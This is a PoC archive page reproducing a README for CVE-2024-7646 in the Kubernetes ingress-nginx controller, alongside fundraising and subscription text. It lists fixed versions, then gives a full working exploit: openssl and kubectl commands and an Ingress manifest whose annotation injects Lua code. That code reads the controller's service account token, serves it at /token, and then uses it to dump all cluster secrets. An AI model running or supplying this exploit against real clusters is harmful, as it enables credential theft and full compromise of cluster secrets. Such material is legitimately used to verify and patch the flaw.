Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-7646 PoC — Ingress NGINX Controller 安全漏洞

Source
Associated Vulnerability
Title: Ingress NGINX Controller 安全漏洞 (CVE-2024-7646)
Description:A security issue was discovered in ingress-nginx where an actor with permission to create Ingress objects (in the `networking.k8s.io` or `extensions` API group) can bypass annotation validation to inject arbitrary commands and obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster.
Description
PoC CVE-2024-7646
Readme
# CVE-2024-7646

## Description
In default, `nginx.ingress.kubernetes.io/server-snippet` is disabled, but due to this cve, `nginx.ingress.kubernetes.io/auth-tls-verify-client` can still insert custom snippets, or even lua code can be included.

## Fixed version
ingress-nginx controller v1.11.2 - fixed by kubernetes/ingress-nginx#11719 and kubernetes/ingress-nginx#11721
ingress-nginx controller v1.10.4 - fixed by kubernetes/ingress-nginx#11718 and kubernetes/ingress-nginx#11722

## PoC
Requires permission to create ingress
```
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF
```

In the default configuration, that credential has access to all secrets in the cluster.
```
TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
```

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →